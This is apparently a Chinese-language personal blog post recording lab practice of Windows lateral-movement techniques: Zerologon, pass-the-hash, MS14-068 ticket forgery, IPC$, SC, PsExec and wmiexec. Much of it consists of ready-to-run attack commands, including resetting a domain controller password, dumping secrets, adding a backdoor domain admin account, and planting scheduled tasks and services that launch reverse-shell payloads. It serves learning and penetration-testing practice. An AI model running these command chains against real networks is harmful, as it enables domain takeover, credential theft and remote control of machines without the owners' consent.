內網橫向滲透

 內網橫向滲透

作者 :  Noth

前言 :

一轉眼碰資安領域也慢慢快 3 年多,看見越來越多的高手在旁邊,心裡想自己的程度也不能停滯不前,寫這篇文章最主要是記錄自己學習橫向手法,一方面實作和實戰,自己搭環境遇到的經驗和實戰中遇到的坑才是自己的成長。 

內文 :

進行內網滲透之前都要做到 socks 代理或是 msf 添加路由的方式,當然最基礎是利用一些服務漏洞先橫掃一波,利用 MS-17010 、 Bluekeep、Zerologon(AD) 等 xD,這邊以 Zerologon(AD) 來做個演示。

實作環境 : 
攻擊者 : 192.168.139.128 , kali
受害者 : 192.168.139.131 , windows 2016 (AD)

attacker : 
python3 set_empty_pw.py DC-Name DC-IP

python3 secretsdump.py -just-dc test/WIN-D9112TSQCDA\$@192.168.139.131

wmiexec.py test/Administrator@192.168.139.131 -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

添加用戶成為域成員 : 
net user admin$ 1qaz@WSX /ADD /DOMAIN
net group "Domain Admins" admin$ /ADD /DOMAIN

Sucessful Login : 

Reference : 
https://github.com/risksense/zerologon.git

哈希傳遞攻擊(PTH)

通過帳戶相關的密碼散列值(NTLM Hash)來進行攻擊,由於在 Windows系統 中,通常會使用 NTLM Hash 對訪問資源的用戶進行身份認證,可以在不需要明文密碼的情況下,利用 LM HASH 和 NTLM HASH 直接遠程登入目標主機或反彈 shell。

實作環境 : 
攻擊者 : 192.168.220.128 , kali,連網
受害者 : 192.168.220.130 / 10.10.10.6 ,windows 7,連網
受害者 : 10.10.10.12 , windows 2008,不出網

使用 Mimikatz 進行 PTH (workgroup) :
RDP  Windows 7  主機並提權或取得 meterpreter

上傳 Mimikatz 打開並提權(會彈出一個 cmd 視窗) : 
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:161cff084477fe596a5db81874498a24 (Administrator NTLM)

連接 windows 2008 C 槽 : 
net use \\10.10.10.12\c$

遇到 The system cannot write to the specified device (編碼問題) . 

更改 cmd 編碼 :
chcp 437
dir \\10.10.10.12\c$

利用 copy 方式將 msf  生成 reverse exe 複製進去 windows 2008 c$
copy reverse.exe \\10.10.10.12\c$

使用 schtasks 命令創建排成任務,每分鐘執行 reverse.exe :
schtasks /create /s 10.10.10.12 /RL HIGHEST /tn 123 /tr C:\reverse.exe /sc minute /mo 1
schtasks /run /tn 123 /s 10.10.10.12

成功 reverse_shell : 


pth-xfreerdp(kali 內建工具) 進行 RDP  :  

proxychains xfreerdp /u:Administrator /d:workgroup /pth:161cff084477fe596a5db81874498a24 (NTLM) /v:10.10.10.12

利用 msf 模塊進行 PTH :

發現新版的 msf6 只剩 exploit/windows/smb/psexec(Only Administrator 帳戶) 

msfconsole 開啟 : 
proxychains msfconsole
use exploit/windows/smb/psexec

set RHOSTS 10.10.10.12
set SMBDomain workgroup
set SMBUSER Administrator (Only Administrator帳戶)
set SMBPASS f67ce55ac831223dc187b8085fe1d9df:161cff084477fe596a5db81874498a24 (LM:NTLM)

set payload payload/windows/shell/bind_tcp (因為內網主機不出網)
set RHOST 10.10.10.12
set LPORT  80
run

在這邊遇到一個小坑 xD  因為 10.10.10.12(Windows 2008) 不出網,改採 bind_tcp 就成功,以及會遇到 RubySMB STATUS_ACCESS_DENIED 問題,原因是 SMB 不允許遠程訪問 xD,註冊表新增個 DWORD32 位就好。

Reference : 
https://www.cnblogs.com/adsry/p/12904057.html

Impacket 進行 PTH :

smbexec.py 進行 path the hash (反彈內網主機shell) :
proxychains python3 smbexec.py -hashes f67ce55ac831223dc187b8085fe1d9df:161cff084477fe596a5db81874498a24 Administrator@10.10.10.12

pth-winexe(kali內建工具) 進行 PTH :

搜尋 pth-winexe :

執行 pth-winexe :
proxychains pth-winexe -U Administrator%f67ce55ac831223dc187b8085fe1d9df:161cff084477fe596a5db81874498a24 --system --ostype=1 //10.10.10.12 cmd

票據傳遞攻擊 (MS14-068,AD) : 

使用條件 : 
1. 域内任意用户SID
2. 域内任意用户密碼

實作環境 : 
攻擊者 : 192.168.220.128 , kali,連網
受害者 : 192.168.220.147 / 10.10.10.12 , windows 2008(域成員),連網
受害者 : 10.10.10.20 , windows 2016(AD),不出網

RDP  Windows 2008 主機或取得 meterpreter : 
whoami /all (紀錄用戶名和使用者SID)

上傳 MS14-068.exe 到 windows 2008 : 

執行 ms14-068.exe (產生 TGT ccache) : 
ms14-068.exe -u Administrator@test123.tw -s S-1-5-21-499981933-2793795950-3336203532-500 -d 10.10.10.20 -p 1qaz@WSX

將生成的 TGT ccache 放在同 Mimikatz 的目錄中 : 

提權後打開 Mimikatz : 
kerberos::purge   //清空當前機器中所有憑證
kerberos::list       //查看當前機器憑證
kerberos::ptc      //將票據注入到内存中

連接 windows 2016  : 
net use \\10.10.10.20

Reference : 
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068 

IPC$ 連接

同一時間內兩個 IP 之間只允許建立一個連接,IPC 可以通過驗證用户名和密碼獲得相應的權限,通過 ipc$,可以與目標機器建立連接訪問目標機器中的文件,進行上傳、下載等操作。

建立 ipc$ 連接條件:
1. 目標主機開啟了139和445端口
2. 目標主機管理員開啟了 ipc$ 默認共享
3. 需要目標主機的帳號/密碼

實作環境 : 
攻擊者: 192.168.220.128 , kali,連網
受害者: 192.168.220.130 / 10.10.10.6 , windows 7,連網
受害者: 10.10.10.12 , windows 2008,不出網

RDP  Windows 7  主機 ipc$ 連接(開啟cmd) :
net use \\10.10.10.12\ipc$ "1qaz@WSX" /user:"Administrator"

查看是否連接成功 :
net use

建立c$盤共享連接:
net use \\10.10.10.12\c$ "1qaz@WSX" /user:"Administrator"

接下來手法也差不多就不演示了 XD

創建 Windows 服務來進行横向渗透(SC)

SC 命令 (不過彈回來的 shell,一段時間就會斷掉)
使用條件:
當前跳板機用户具有管理員權限(因為要創建服務)
與目標機器已經建立 ipc 連接

創建服務 : 
sc \\10.10.10.12 create bindshell binpath= "c:\shell.exe"

開啟監聽 : 
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 1234

啟動服務 : 
sc \\10.10.10.12 start bindshell

成功 reverse_shell :

利用 PsExec 工具進行横向渗透

不需要對方主機開 3389 端口,只需要對方開啟 admin$共享 (該共享默認開啟),但是目標主機開啟了防火牆的的話是不能使用的,會提示找不到網路路徑,以前防毒軟件將其列在白名單中,但現今很多防毒都將 PsExec 納入。

獲取 10.10.10.12 shell : 
PsExec.exe -accepteula \\10.10.10.12 -u Administrator -p 1qaz@WSX -s cmd.exe

如果已經進行 ipc$ 連接,則不需要添加帳號密碼 : 
PsExec.exe -accepteula \\10.10.10.12 cmd.exe

利用 WMIEXEC 來横向渗透

wmiexec 遠程連接 :
proxychains python3 wmiexec.py Administrator:1qaz@WSX@10.10.10.12

內網應該要搞懂的是 kerberos 協議,以及一些票卷攻擊(Golden Ticket ... 等) 以及 AD 滲透方式(又是另一個大坑,QQ),最近筆者會暫停寫 blogs 了,一方面先累積實戰經驗(工作的事情),一方面也要處理一下碩班事情(近期目標),筆者覺得滲透走到後面應該還要再點其它的技能點比較好,目前想走大概就是系統維管或開發吧,其它事情應該也別多想了 xD,有時也會回想起前輩說的話 : 「目前還在漲潮,等到退潮時就知道誰在裸泳了」,我一直堅信著這句話。

留言

熱門文章